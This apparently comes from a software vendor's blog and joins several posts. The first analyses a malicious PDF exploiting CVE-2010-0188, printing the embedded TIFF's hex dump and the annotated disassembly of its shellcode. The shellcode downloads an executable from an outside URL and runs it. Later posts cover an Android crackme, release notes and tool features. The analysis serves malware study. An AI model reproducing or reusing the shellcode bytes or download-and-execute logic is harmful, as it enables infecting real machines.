CVE-2010-0188: PDF/Form/TIFF

Given the good reception of the last post, I’ve decided to dedicate more time posting use cases for the Profiler. Today we’re going to analyze a PDF exploiting CVE-2010-0188. Quite old as the name can tell, but it doesn’t really matter for the sake of the demonstration. There’s no real criteria why I picked this one in particular, I just downloaded a pack of malicious PDFs from contagiodump.blogspot.com.

Opening the Zip archive with the Profiler, I chose a random PDF. It is flagged as risky by the Profiler, because it contains an interactive form. If we take a look at the embedded form it’s easy to recognize an embedded image in it which basically represents the whole data of the form. Let’s load this image as an embedded file:

Embedded TIFF

We need to specify the ‘convert/from_base64‘ filter in order to load the actual data. The content of the image is quite obvious. Lots of repetitive bytes, some suspicious strings and some bytes with higher entropy which a trained eye can easily spot as being x86 instructions.

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  4D 4D 00 2A 00 00 20 38   0C 90 0C 90 0C 90 0C 90     MM.*...8........
00000010  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000020  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000030  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000040  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000050  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000060  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000070  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000080  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000090  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000A0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000B0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000C0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000D0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000E0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000F0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000100  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000110  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000120  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000130  0C 90 0C 90 EB 46 5F 31   C9 83 E9 01 89 FE 30 C0     .....F_1......0.
00000140  2C 01 F2 AE FE 47 FF 89   FB 30 C0 2C 01 F2 AE FE     ,....G...0.,....
00000150  47 FF 89 FD F2 AE FE 47   FF EB 71 60 31 C9 64 8B     G......G..q1.d.
00000160  71 30 8B 76 0C 8B 76 1C   8B 5E 08 8B 56 20 8B 36     q0.v..v..^..V..6
00000170  66 39 4A 18 75 F2 89 5C   24 1C 61 C3 EB 5B 60 8B     f9J.u..$.a..[.
00000180  6C 24 24 8B 45 3C 8B 54   05 78 01 EA 8B 4A 18 8B     l$$.E<.T.x...J..
00000190  5A 20 01 EB E3 34 49 8B   34 8B 01 EE 31 FF 31 C0     Z....4I.4...1.1.
000001A0  FC AC 84 C0 74 07 C1 CF   12 01 C7 EB F4 3B 7C 24     ....t........;|$
000001B0  28 75 E1 8B 5A 24 01 EB   66 8B 0C 4B 8B 5A 1C 01     (u..Z$..f..K.Z..
000001C0  EB 8B 04 8B 01 E8 89 44   24 1C 61 C3 EB 54 31 D2     .......D$.a..T1.
000001D0  52 52 53 55 52 FF D0 EB   1A EB 5D E8 7B FF FF FF     RRSUR.....].{...
000001E0  BA E7 BA 8B C4 52 50 E8   92 FF FF FF 31 D2 52 FF     .....RP.....1.R.
000001F0  D0 EB 2D E8 63 FF FF FF   BA AA 6E 8A F3 52 50 E8     ..-.c.....n..RP.
00000200  7A FF FF FF 31 D2 83 C2   FF 83 EA FA 52 53 FF D0     z...1.......RS..
00000210  EB C9 BA 47 7D C8 A0 52   50 E8 60 FF FF FF EB AE     ...G}..RP.`.....
00000220  EB 5D E8 34 FF FF FF BA   12 CE 1A 09 52 50 E8 4B     .].4........RP.K
00000230  FF FF FF 56 FF D0 EB DA   E8 F9 FE FF FF 75 72 6C     ...V.........url
00000240  6D 6F 6E 2E 64 6C 6C FF   2E 2E 2F 75 70 64 61 74     mon.dll.../updat
00000250  65 2E 65 78 65 FF 68 74   74 70 3A 2F 2F 76 69 63     e.exe.http://vic
00000260  74 6F 72 6E 69 67 6C 69   6F 2E 69 6E 66 6F 2F 34     torniglio.info/4
00000270  33 68 62 74 72 2F 64 6F   77 6E 6C 6F 61 64 5F 66     3hbtr/download_f
00000280  69 6C 65 2E 70 68 70 3F   65 3D 41 64 6F 62 65 2D     ile.php?e=Adobe-
00000290  39 30 2D 32 30 31 30 2D   30 31 38 38 FF CD 03 3E     90-2010-0188...>
000002A0  3E 3E 3E 3E 3E 3E 3E 3E   3E 3E 3E 3E 3E 3E 3E 3E     >>>>>>>>>>>>>>>>
000002B0  3E 3E 3E 3E 3E 3E 3E 3E   3E 3E 3E 3E 3E 3E 3E 3E     >>>>>>>>>>>>>>>>
more brackets...

The repetition of the 0x0C 0x90 sequence is easily identifiable as a slide for the shellcode that follows:

00001000:  or al, 0x90
00001002:  or al, 0x90
00001004:  or al, 0x90
00001006:  or al, 0x90
; etc.

Thus, the space after the slide is the start of the actual shellcode. Let’s disassemble it with the Profiler:

Shellcode disasm

In order to quickly analyze the shellcode we can debug it. We select the portion from 0x134 to 0x29E, press Ctrl+R and run the action ‘Shellcode to executable‘. If you don’t have this action, update your copy of the Profiler.

Shellcode to EXE action

What it does is to create a Portable Executable out from the bytes selected in the hex view, so that we can easily debug them with every debugger.

Shellcode to EXE

Optionally we can specify an application to automatically open the generated file. In this case, as you can see, I have selected OllyDbg.

Here’s the analysis of the shellcode:

00001000:  jmp 0x1048
00001002:  pop edi                               ; edi = start of strings
00001003:  xor ecx, ecx
00001005:  sub ecx, 0x1                          ; ecx = 0xFFFFFFFF
00001008:  mov esi, edi                          ; esi = 0x1108
0000100A:  xor al, al
0000100C:  sub al, 0x1                           ; al = 0xFF
0000100E:  repne scasb byte ptr [edi]            ; find 0xFF terminator
00001010:  inc byte ptr [edi-0x1]                ; set to 0
00001013:  mov ebx, edi                          ; repeats for the second string
00001015:  xor al, al
00001017:  sub al, 0x1
00001019:  repne scasb byte ptr [edi]
0000101B:  inc byte ptr [edi-0x1]
0000101E:  mov ebp, edi                          ; repeats for the third string
00001020:  repne scasb byte ptr [edi]
00001022:  inc byte ptr [edi-0x1]
; now the three strings 'urlmon.dll', '../update.exe' and 
; 'http://victorniglio.info/43hbtr/download_file.php?e=Adobe-90-2010-0188' 
; are 0 terminated
00001025:  jmp 0x1098

00001027:  pushad                                ; retrieves the base of kernel32.dll
00001028:  xor ecx, ecx
0000102A:  mov esi, dword ptr fs:[ecx+0x30]
0000102E:  mov esi, dword ptr [esi+0xc]
00001031:  mov esi, dword ptr [esi+0x1c]
00001034:  mov ebx, dword ptr [esi+0x8]
00001037:  mov edx, dword ptr [esi+0x20]
0000103A:  mov esi, dword ptr [esi]
0000103C:  cmp word ptr [edx+0x18], cx
00001040:  jnz 0x1034
00001042:  mov dword ptr [esp+0x1c], ebx        ; ebx = kernel32.dll base
00001046:  popad 
00001047:  ret 

00001048:  jmp 0x10a5

0000104A:  pushad                               ; this function retrieves the address of an API
0000104B:  mov ebp, dword ptr [esp+0x24]
0000104F:  mov eax, dword ptr [ebp+0x3c]
00001052:  mov edx, dword ptr [ebp+eax*1+0x78]
00001056:  add edx, ebp
00001058:  mov ecx, dword ptr [edx+0x18]
0000105B:  mov ebx, dword ptr [edx+0x20]
0000105E:  add ebx, ebp
00001060:  jecxz 0x1096
00001062:  dec ecx
00001063:  mov esi, dword ptr [ebx+ecx*4]
00001066:  add esi, ebp
00001068:  xor edi, edi
0000106A:  xor eax, eax
0000106C:  cld 
0000106D:  lodsb byte ptr [esi]
0000106E:  test al, al
00001070:  jz 0x1079
00001072:  ror edi, 0x12
00001075:  add edi, eax
00001077:  jmp 0x106d
00001079:  cmp edi, dword ptr [esp+0x28]
0000107D:  jnz 0x1060
0000107F:  mov ebx, dword ptr [edx+0x24]
00001082:  add ebx, ebp
00001084:  mov cx, word ptr [ebx+ecx*2]
00001088:  mov ebx, dword ptr [edx+0x1c]
0000108B:  add ebx, ebp
0000108D:  mov eax, dword ptr [ebx+ecx*4]
00001090:  add eax, ebp
00001092:  mov dword ptr [esp+0x1c], eax        ; eax = API address
00001096:  popad 
00001097:  ret

00001098:  jmp 0x10ee
0000109A:  xor edx, edx
0000109C:  push edx                             ; lpfnCB
0000109D:  push edx                             ; dwReserved
0000109E:  push ebx                             ; szFileName = ../update.exe
0000109F:  push ebp                             ; szURL = http://victorniglio.info/43hbtr/download_file.php?e=Adobe-90-2010-0188
000010A0:  push edx                             ; pCaller
000010A1:  call eax                             ; URLDownloadToFileA
000010A3:  jmp 0x10bf

000010A5:  jmp 0x1104                          
000010A7:  call 0x1027                          ; after the call eax = kernel32.dll base   
000010AC:  mov edx, 0xc48bbae7
000010B1:  push edx
000010B2:  push eax
000010B3:  call 0x104a                          ; retrieve address of ExitProcess
000010B8:  xor edx, edx
000010BA:  push edx
000010BB:  call eax                             ; ExitProcess
000010BD:  jmp 0x10ec
000010BF:  call 0x1027                          ; after the call eax = kernel32.dll base             
000010C4:  mov edx, 0xf38a6eaa
000010C9:  push edx
000010CA:  push eax
000010CB:  call 0x104a                          ; retrieve address of WinExec
000010D0:  xor edx, edx
000010D2:  add edx, 0xffffffff
000010D5:  sub edx, 0xfffffffa
000010D8:  push edx                             ; uCmdShow = 5
000010D9:  push ebx                             ; lpCmdLine = ../update.exe
000010DA:  call eax                             ; WinExec
000010DC:  jmp 0x10a7

000010DE:  mov edx, 0xa0c87d47
000010E3:  push edx
000010E4:  push eax
000010E5:  call 0x104a                         ; retrieve address of URLDownloadToFileA
000010EA:  jmp 0x109a

000010EC:  jmp 0x114b                          ; jumps to int 3
000010EE:  call 0x1027                         ; after the call eax = kernel32.dll base
000010F3:  mov edx, 0x91ace12
000010F8:  push edx
000010F9:  push eax
000010FA:  call 0x104a                          ; retrieve address of LoadLibraryA
000010FF:  push esi                             ; "urlmon.dll
00001100:  call eax                             ; LoadLibraryA
00001102:  jmp 0x10de
00001104:  call 0x1002

Very standard code as you can see. It downloads a file with URLDownloadToFileA, executes it with WinExec and quits.

The next time I’ll try to pick out something more recent.

BlueBox Android Challenge

Some weeks (? I don’t even remember the time frame) ago I was made aware by a friend of this challenge. Basically injection of Dalvik code through native code. I found some minutes this morning to look into it and while I’m sure somebody else has already solved it, it’s a nice way of showing a bit of how to reverse engineer Android applications with the Profiler.

The first problem we encounter is that the APK (which is a Zip archive) has been tampered with. It asks incorrectly for a decryption key because all file headers have had their GeneralPurposeBit modifed, e.g.:

; file header
; offset: 28BB2

Signature             : 02014B50
CreatorVersion        : 0014
ExtractorVersion      : 0014
GeneralBitFlag        : 0809       <-- should be 0
CompressionMethod     : 0008
LastModTime           : 2899
LastModDate           : 4262
Crc32                 : CFEF1C2F
CompressedSize        : 000000F7
UncompressedSize      : 000001D0
FileNameLength        : 001C
ExtraFieldLength      : 0000
FileCommentLength     : 0000
Disk                  : 0000
InternalFileAttributes: 0000
ExternalFileAttributes: 00000000
LocalHeaderOffset     : 00000C15
FileName              : res/menu/activity_action.xml
ExtraField            : 
FileComment           : 

A few lines of code to fix this field for all file entries in the Zip archive:

from Pro.UI import *

obj = proContext().currentScanProvider().getObject()
n = obj.GetEntryCount()
for i in range(n):
    obj.GetEntry(i).Set("GeneralBitFlag", 0)
s = obj.GetStream()
s.save(s.name() + "_fixed")

Now we can explore the contents of the APK with the Profiler. We have the usual 'classes.dex' file plus the native library 'lib/armeabi/libnet.so'. Let's open the library with IDA. You'll notice the functions it contains aren't many and just by looking at them we'll stumble at this function:

void *__fastcall search(unsigned int a1)
{
  unsigned int v1; // r4@1
  __int32 v2; // r7@1
  int v3; // r4@1
  int v4; // r5@2
  signed int v5; // r4@3
  signed int v6; // r8@3
  int v7; // r4@3
  int v8; // r6@3
  int v9; // r0@3
  int v10; // r0@3
  void *v11; // r4@3

  v1 = a1;
  v2 = sysconf(39);
  v3 = v1 - v1 % v2;
  do
  {
    v3 -= v2;
    v4 = v3 + 40;
  }
  while ( !findmagic(v3 + 40) );
  v5 = getStrIdx(v3 + 40, "L-ÿava/lang/String;", 0x12u);
  v6 = getStrIdx(v4, "add", 3u);
  v7 = getTypeIdx(v4, v5);
  v8 = getClassItem(v4, v7);
  v9 = getMethodIdx(v4, v6, v7);
  v10 = getCodeItem(v4, v8, v9);
  v11 = (void *)(v10 + 16);
  mprotect((void *)(v10 - (v10 + 16) % (unsigned int)v2 + 16), v2, 3);
  return memcpy(v11, inject, 0xDEu);
}

It's clear that at some point during the execution of the Dalvik code this function is triggered which writes the array 'inject' into the memory space of the DEX module. We can verify that they are indeed Dalvik opcodes with the appropriate filter. Select the bytes representing the array in the hex view and then open the filter view:

Dalvik filter

The functions called before the actual injection locate the exact position of the code. They help us as well: back to the Profiler, let's find the method "L-ÿava/lang/String;":"add":

Methods

From here we get the class index and name. Just by looking at the disassembled class we'll notice a method filled with nops:

Method with nops

The code size of the method matches the payload size (111 * 2 = 0xDE):

Classes

Let's write back the instructions to the DEX module:

Write payload

We could do this with a filter just as well by the way:

And now we can analyze the injected code:

  public void zoom(java.lang.String)
  {
    /* 0002782C 12 02             */ const/4 v2, #int 0 // #0
    /* 0002782E 6E 10 1F 0C 0C 00 */ invoke-virtual {v12}, int java.lang.String.length()
    /* 00027834 0A 04             */ move-result v4
    /* 00027836 22 05 DB 01       */ new-instance v5, java.util.HashMap
    /* 0002783A 70 10 4D 0C 05 00 */ invoke-direct {v5}, void java.util.HashMap.()
    /* 00027840 1A 00 00 00       */ const-string v0, ""
    /* 00027844 5B B0 FC 02       */ iput-object v0, v11, java.lang.String content
    /* 00027848 6E 10 22 0C 0C 00 */ invoke-virtual {v12}, char[] java.lang.String.toCharArray()
    /* 0002784E 0C 06             */ move-result-object v6
    /* 00027850 21 67             */ array-length v7, v6
    /* 00027852 01 23             */ move v3, v2
loc_40:
    /* 00027854 34 73 03 00       */ if-lt v3, v7, loc_46 // +3
    /* 00027858 0E 00             */ return-void
loc_46:
    /* 0002785A 49 00 06 03       */ aget-char v0, v6, v3
    /* 0002785E D8 00 00 BF       */ add-int/lit8 v0, v0, #int -65 // #bf
    /* 00027862 B4 40             */ rem-int/2addr v0, v4
    /* 00027864 71 10 01 0C 00 00 */ invoke-static {v0}, java.lang.Integer java.lang.Integer.valueOf(int)
    /* 0002786A 0C 08             */ move-result-object v8
    /* 0002786C 71 10 01 0C 02 00 */ invoke-static {v2}, java.lang.Integer java.lang.Integer.valueOf(int)
    /* 00027872 0C 00             */ move-result-object v0
    /* 00027874 6E 20 4E 0C 85 00 */ invoke-virtual {v5, v8}, bool java.util.HashMap.containsKey(java.lang.Object)
    /* 0002787A 0A 01             */ move-result v1
    /* 0002787C 38 01 2C 00       */ if-eqz v1, loc_168 // +44
    /* 00027880 6E 20 4F 0C 85 00 */ invoke-virtual {v5, v8}, java.lang.Object java.util.HashMap.get(java.lang.Object)
    /* 00027886 0C 00             */ move-result-object v0
    /* 00027888 1F 00 C3 01       */ check-cast v0, java.lang.Integer
loc_96:
    /* 0002788C 54 B1 FC 02       */ iget-object v1, v11, java.lang.String content
    /* 00027890 22 08 CE 01       */ new-instance v8, java.lang.StringBuilder
    /* 00027894 71 10 25 0C 01 00 */ invoke-static {v1}, java.lang.String java.lang.String.valueOf(java.lang.Object)
    /* 0002789A 0C 01             */ move-result-object v1
    /* 0002789C 70 20 28 0C 18 00 */ invoke-direct {v8, v1}, void java.lang.StringBuilder.(java.lang.String)
    /* 000278A2 6E 10 FC 0B 00 00 */ invoke-virtual {v0}, byte java.lang.Integer.byteValue()
    /* 000278A8 0A 00             */ move-result v0
    /* 000278AA D8 00 00 41       */ add-int/lit8 v0, v0, #int 65 // #41
    /* 000278AE 8E 00             */ int-to-char v0, v0
    /* 000278B0 71 10 ED 0B 00 00 */ invoke-static {v0}, java.lang.Character java.lang.Character.valueOf(char)
    /* 000278B6 0C 00             */ move-result-object v0
    /* 000278B8 6E 20 2C 0C 08 00 */ invoke-virtual {v8, v0}, java.lang.StringBuilder java.lang.StringBuilder.append(java.lang.Object)
    /* 000278BE 0C 00             */ move-result-object v0
    /* 000278C0 6E 10 31 0C 00 00 */ invoke-virtual {v0}, java.lang.String java.lang.StringBuilder.toString()
    /* 000278C6 0C 00             */ move-result-object v0
    /* 000278C8 5B B0 FC 02       */ iput-object v0, v11, java.lang.String content
    /* 000278CC D8 00 03 01       */ add-int/lit8 v0, v3, #int 1 // #01
    /* 000278D0 01 03             */ move v3, v0
    /* 000278D2 28 C1             */ goto loc_40 // -63
loc_168:
    /* 000278D4 01 21             */ move v1, v2
loc_170:
    /* 000278D6 35 41 DB FF       */ if-ge v1, v4, loc_96 // -37
    /* 000278DA 6E 10 FD 0B 08 00 */ invoke-virtual {v8}, int java.lang.Integer.intValue()
    /* 000278E0 0A 09             */ move-result v9
    /* 000278E2 B2 19             */ mul-int/2addr v9, v1
    /* 000278E4 B4 49             */ rem-int/2addr v9, v4
    /* 000278E6 12 1A             */ const/4 v10, #int 1 // #1
    /* 000278E8 33 A9 0E 00       */ if-ne v9, v10, loc_216 // +14
    /* 000278EC 71 10 01 0C 01 00 */ invoke-static {v1}, java.lang.Integer java.lang.Integer.valueOf(int)
    /* 000278F2 0C 00             */ move-result-object v0
    /* 000278F4 6E 30 50 0C 85 00 */ invoke-virtual {v5, v8, v0}, java.lang.Object java.util.HashMap.put(java.lang.Object, java.lang.Object)
    /* 000278FA 71 10 01 0C 01 00 */ invoke-static {v1}, java.lang.Integer java.lang.Integer.valueOf(int)
    /* 00027900 0C 00             */ move-result-object v0
    /* 00027902 28 C5             */ goto loc_96 // -59
loc_216:
    /* 00027904 D8 01 01 01       */ add-int/lit8 v1, v1, #int 1 // #01
    /* 00027908 28 E7             */ goto loc_170 // -25
  }

And that's it. It took much more time to write the post than the rest (about 10 minutes of time if that). Reverse engineering the crackme to find the correct key is beyond the scope of the post, although I'm sure it's fun as well.

Thanks to BlueBox for the crackme!

News for version 0.9.4

The new version is out with the following news:

added RTF support including OLE extraction and raw text preview
– added file times support and extraction in Zip archives
added disasm options to several engines
added support for Android Binary XML format
exposed several disasm engines as filters
– introduced metadata strings to SDK
– exposed Zip format class to Python
– fixed module initialization problem in the SDK

Some features planned for this release were postponed for the next version (or perhaps even the version after that), because too many unplanned new features have been introduced in 0.9.4. Some of the news above need further explanations and examples, but I’m afraid posts about them will have to wait. It would be nice to show some of these new features in conjunction with other features which are planned for the near future.

In the meantime we hope you enjoy the release!

Android Binary XML support

The upcoming version 0.9.4 of the Profiler adds support for Android’s binary XML format (such as that used by AndroidManifest.xml).

Android Binary XML

Let’s take the sample output of the aapt tool in the Android SDK:

N: android=http://schemas.android.com/apk/res/android
  E: manifest (line=22)
    A: package="com.example.android.notepad" (Raw: "com.example.android.notepad")
    E: uses-sdk (line=25)
      A: android:minSdkVersion(0x0101020c)=(type 0x10)0xb
    E: application (line=27)
      A: android:label(0x01010001)=@0x7f040000
      A: android:icon(0x01010002)=@0x7f020000
      E: provider (line=30)
        A: android:name(0x01010003)="NotePadProvider" (Raw: "NotePadProvider")
        A: android:exported(0x01010010)=(type 0x12)0x0
        A: android:authorities(0x01010018)="com.google.provider.NotePad" (Raw: "com.google.provider.NotePad")
        E: grant-uri-permission (line=33)
          A: android:pathPattern(0x0101002c)=".*" (Raw: ".*")
      E: activity (line=36)
        A: android:label(0x01010001)=@0x7f040005
        A: android:name(0x01010003)="NotesList" (Raw: "NotesList")
        E: intent-filter (line=37)
          E: action (line=38)
            A: android:name(0x01010003)="android.intent.action.MAIN" (Raw: "android.intent.action.MAIN")
          E: category (line=39)
            A: android:name(0x01010003)="android.intent.category.LAUNCHER" (Raw: "android.intent.category.LAUNCHER")
        E: intent-filter (line=41)
          E: action (line=42)
            A: android:name(0x01010003)="android.intent.action.VIEW" (Raw: "android.intent.action.VIEW")
          E: action (line=43)
            A: android:name(0x01010003)="android.intent.action.EDIT" (Raw: "android.intent.action.EDIT")
          E: action (line=44)
            A: android:name(0x01010003)="android.intent.action.PICK" (Raw: "android.intent.action.PICK")
          E: category (line=45)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: data (line=46)
            A: android:mimeType(0x01010026)="vnd.android.cursor.dir/vnd.google.note" (Raw: "vnd.android.cursor.dir/vnd.google.note")
        E: intent-filter (line=48)
          E: action (line=49)
            A: android:name(0x01010003)="android.intent.action.GET_CONTENT" (Raw: "android.intent.action.GET_CONTENT")
          E: category (line=50)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: data (line=51)
            A: android:mimeType(0x01010026)="vnd.android.cursor.item/vnd.google.note" (Raw: "vnd.android.cursor.item/vnd.google.note")
      E: activity (line=55)
        A: android:theme(0x01010000)=@0x103006e
        A: android:name(0x01010003)="NoteEditor" (Raw: "NoteEditor")
        A: android:screenOrientation(0x0101001e)=(type 0x10)0x4
        A: android:configChanges(0x0101001f)=(type 0x11)0xa0
        E: intent-filter (line=62)
          A: android:label(0x01010001)=@0x7f04000f
          E: action (line=63)
            A: android:name(0x01010003)="android.intent.action.VIEW" (Raw: "android.intent.action.VIEW")
          E: action (line=64)
            A: android:name(0x01010003)="android.intent.action.EDIT" (Raw: "android.intent.action.EDIT")
          E: action (line=65)
            A: android:name(0x01010003)="com.android.notepad.action.EDIT_NOTE" (Raw: "com.android.notepad.action.EDIT_NOTE")
          E: category (line=66)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: data (line=67)
            A: android:mimeType(0x01010026)="vnd.android.cursor.item/vnd.google.note" (Raw: "vnd.android.cursor.item/vnd.google.note")
        E: intent-filter (line=74)
          E: action (line=75)
            A: android:name(0x01010003)="android.intent.action.INSERT" (Raw: "android.intent.action.INSERT")
          E: action (line=76)
            A: android:name(0x01010003)="android.intent.action.PASTE" (Raw: "android.intent.action.PASTE")
          E: category (line=77)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: data (line=78)
            A: android:mimeType(0x01010026)="vnd.android.cursor.dir/vnd.google.note" (Raw: "vnd.android.cursor.dir/vnd.google.note")
      E: activity (line=83)
        A: android:theme(0x01010000)=@0x103006f
        A: android:label(0x01010001)=@0x7f040002
        A: android:icon(0x01010002)=@0x7f020003
        A: android:name(0x01010003)="TitleEditor" (Raw: "TitleEditor")
        A: android:windowSoftInputMode(0x0101022b)=(type 0x11)0x4
        E: intent-filter (line=92)
          A: android:label(0x01010001)=@0x7f040010
          E: action (line=96)
            A: android:name(0x01010003)="com.android.notepad.action.EDIT_TITLE" (Raw: "com.android.notepad.action.EDIT_TITLE")
          E: category (line=98)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: category (line=101)
            A: android:name(0x01010003)="android.intent.category.ALTERNATIVE" (Raw: "android.intent.category.ALTERNATIVE")
          E: category (line=104)
            A: android:name(0x01010003)="android.intent.category.SELECTED_ALTERNATIVE" (Raw: "android.intent.category.SELECTED_ALTERNATIVE")
          E: data (line=106)
            A: android:mimeType(0x01010026)="vnd.android.cursor.item/vnd.google.note" (Raw: "vnd.android.cursor.item/vnd.google.note")
      E: activity (line=110)
        A: android:label(0x01010001)=@0x7f040001
        A: android:icon(0x01010002)=@0x7f020006
        A: android:name(0x01010003)="NotesLiveFolder" (Raw: "NotesLiveFolder")
        E: intent-filter (line=112)
          E: action (line=113)
            A: android:name(0x01010003)="android.intent.action.CREATE_LIVE_FOLDER" (Raw: "android.intent.action.CREATE_LIVE_FOLDER")
          E: category (line=114)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")

And now the output of the Profiler:


  
  
    
      
    
    
      
        
        
      
      
        
        
        
        
        
      
      
        
        
        
      
    
    
      
        
        
        
        
        
      
      
        
        
        
        
      
    
    
      
        
        
        
        
        
      
    
    
      
        
        
      
    
  

Of course UI XMLs can be opened as well:

The converter can be used from Python as well as a filter called ‘android/from_axml‘.

The new version will be out in a few days. Stay tuned!

Disasm options & filters

The upcoming version 0.9.4 of the Profiler introduces improvements to several disasm engines: ActionScript3, Dalvik, Java, MSIL. In particular it adds options, so that the user can decide whether to include file offsets and opcodes in the output.

Disasm options

The code indentation can be changed as well.

Another important addition is that these engines have been exposed as filters. This is especially noteworthy since byte code can sometimes be injected or stored outside of a method body, so that it is necessary to be able to disassemble raw data.

Disasm filters

Of course these filters can be used from Python too.

from Pro.Core import *

sp = proContext().currentScanProvider()
c = sp.getObjectStream()
c.setRange(0x2570, 0x10)

fstr = ""
c = applyFilters(c, fstr)

s = c.read(0, c.size()).decode("utf-8")
print(s)

Output:

/* 00000000 1A 00 8A+ */ const-string v0,  // string@018a (394)
/* 00000004 12 01     */ const/4 v1, #int 0 // #0
/* 00000006 12 22     */ const/4 v2, #int 2 // #2
/* 00000008 70 52 42+ */ invoke-direct {v3, v4, v0, v1, v2},  // method@0042 (66)
/* 0000000E 0E 00     */ return-void

In the future it will be possible to output a filter directly to NTTextStream, avoiding the need to read from NTContainer.

Stay tuned!

Rich Text Format support (including OLE extraction)

The work on the upcoming 0.9.4 version of the Profiler has just begun, but there’s already an addition worth mentioning in depth: the support for RTF files. In particular there are two things which are quite useful: the preview of raw text and the extraction of OLE objects.

Let’s start with the first one which is very easy.

Text preview

The same text can be retrieved programmatically with the following code:

sp = proContext().currentScanProvider()
rtf = sp.getObject()
out = NTTextBuffer()
rtf.Output(out)
print(out.buffer)

And now the more interesting part about embedded OLE objects. While RTF is usually regarded as a more safe format than its DOC counterpart, it is able to embed foreign objects through the OLE technology. This technique can be, and is, used by malware authors to conceal the real threat.

Let’s take a look at a file with two embedded objects (a DOC and a PPT).

OLE

What is being viewed in the image above is the metadata of a JPEG contained in a PPT contained in a OLE Stream contained in a RTF file. Nice, isn’t it?

It should be noted that OLE objects in RTF files are stored as OLE Streams an undocumented format (as far as we know). The Profiler is able to parse it nonetheless and it can be observed how this format can contain some interesting information.

OLE Stream metadata

Apart from the original file name we can observe paths which include the user name.

News for version 0.9.3

The new version is out with the following news:

– subdivided the Python SDK into modules
exposed many core and file format classes to Python (part 2)
exposed filters to Python
introduced Python hooks
introduced Python key providers
– improved SDK documentation
added extensions view
added file formats scan option
added decryption keys view
– fixed occasional concurrency issue with large files
– fixed embedded files manual addition issue (affected versions: >= 0.9.1)

Most of the items in the list have been demonstrated in previous posts. The only addition left to discuss is the key dialog. When a file is encrypted and gets decrypted with a key either provided by the user or by a script, then this key ends up in a special list of matched keys. This list can now be inspected by the user.

If some files have been decrypted an additional “Decryption keys” button will be shown. Just click on it and you’ll get the list of matched keys.

That’s all. Enjoy!

Detect broken PE manifests

In the previous post we’ve seen a brief introduction of how hooks work. If you haven’t read that post, you’re encouraged to do so in order to understand this one. What we’re going to do in this post is something practical: verifying the XML correctness of PE manifests contained in executables in the Windows directory.

The hook INI entry:

[PE: verify manifests]
file = pe_hooks.py
scanned = detectBrokenManifest
mode = batch
formats = PE

And the python code:

from Pro.Core import *
from Pro.PE import *

def detectBrokenManifest(sp, ud):
    sp.exclude()
    pe = sp.getObject()
    it = pe.ResourceIterator()
    if it.MoveToRoot(RES_TYPE_CONFIGURATION_FILES) == False:
        return
    while it.Next() and it.RootName() == RES_TYPE_CONFIGURATION_FILES:
        s = it.Data()
        offs = pe.RvaToOffset(s.Num(0)) # same as s.Num("OffsetToData")
        sz = s.Num(1) # same as s.Num("Size")
        if offs == INVALID_OFFSET or sz == 0:
            continue
        bytes = pe.Read(offs, sz)
        xml = NTXml()
        if xml.parse(bytes) != NTXml_ErrNone:
            sp.include()
            break

That’s it!

What the code above does is to ask the PE object for a resource iterator. This class, as our customers can observe from the SDK documentation, is capable of both iterating and moving to a specific resource directory or item. Thus, first it moves to the RES_TYPE_CONFIGURATION_FILES directory and then goes through all its items. If the XML parsing does fail, then the file is included in our final report.

So let’s proceed and do the actual scan. First we need to activate the extension from the extensions view:

Then we need to specify the Windows directory as our scan directory and the kind of file format we’re interested scanning (PE).

Let’s wait for the scan to complete and we’ll get the final results.

So seems these file have a problem with their manifests. Let’s open one and go to its manifest resources:

(if the XML is missing new-lines, just hit “Run action (Ctrl+R)->XML indenter”)

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity
    name=""Microsoft.Windows.Shell.DevicePairingFolder""
    processorArchitecture=""x86""
    version=""5.1.0.0""
    type="win32"/>
  <description>Wireless Devices Explorer</description>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity
        type="win32"
        name="Microsoft.Windows.Common-Controls"
        version="6.0.0.0"
        processorArchitecture="*"
        publicKeyToken="6595b64144ccf1df"
        language="*" />
    </dependentAssembly>
  </dependency>
</assembly>

As you can see some attributes in assemblyIdentity contain double quotes. I don’t know whether this DLL has been created with Visual C++, but I do remember that this could happen when specifying manifests fields in the project configuration dialog.

Exposing the Core (part 4, Hooks)

